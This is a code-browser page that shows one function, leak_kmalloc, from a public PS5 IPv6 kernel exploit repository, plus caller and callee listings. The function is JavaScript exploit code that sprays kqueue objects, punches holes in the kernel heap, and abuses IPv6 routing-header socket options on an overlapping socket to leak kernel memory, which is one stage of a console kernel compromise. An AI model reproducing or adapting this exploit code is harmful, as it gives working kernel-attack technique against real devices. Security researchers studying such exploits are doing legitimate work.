MCPcopy Create free account
hub / github.com/Cryptogenic/PS5-IPV6-Kernel-Exploit / leak_kmalloc

Function leak_kmalloc

document/en/ps5/exploit.js:694–723  ·  view source on GitHub ↗
(size)

Source from the content-addressed store, hash-verified

692 let leak_kmalloc_buf_store = p.malloc(0x800);
693
694 let leak_kmalloc = async function(size) {
695 // Build rthdr
696 let rthdr_len = build_rthdr_msg(leak_kmalloc_buf_store, size);
697
698 // Set rthdr
699 if (size == 0x120) {
700 // Spray kqueues
701 for (let i = 0; i < 0x5C; i++) {
702 await chain.add_syscall_ret(kqueue_fds_store.add32(i * 0x4), SYSCALL_KQUEUE);
703 }
704
705 await chain.run();
706
707 // Create holes
708 for (let i = 0; i < 0x5C; i += 0x2) {
709 let kq_fd = p.read4(kqueue_fds_store.add32(i * 0x4));
710 chain.push_
711 await chain.add_syscall(SYSCALL_CLOSE, kq_fd);
712 }
713 }
714
715 await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_RTHDR, leak_kmalloc_buf_store, rthdr_len);
716
717 // Get rthdr on overlap
718 chain.push_write8(rthdr_size_store, size);
719 await chain.add_syscall(SYSCALL_GETSOCKOPT, overlap_sock, IPPROTO_IPV6, IPV6_RTHDR, leak_kmalloc_buf_store, rthdr_size_store);
720
721 // Run
722 await chain.run();
723 }
724
725 await log("[+] Leaking kqueue...");
726

Callers 1

userlandFunction · 0.85

Calls 5

build_rthdr_msgFunction · 0.85
add_syscall_retMethod · 0.80
runMethod · 0.80
add_syscallMethod · 0.80
push_write8Method · 0.80

Tested by

no test coverage detected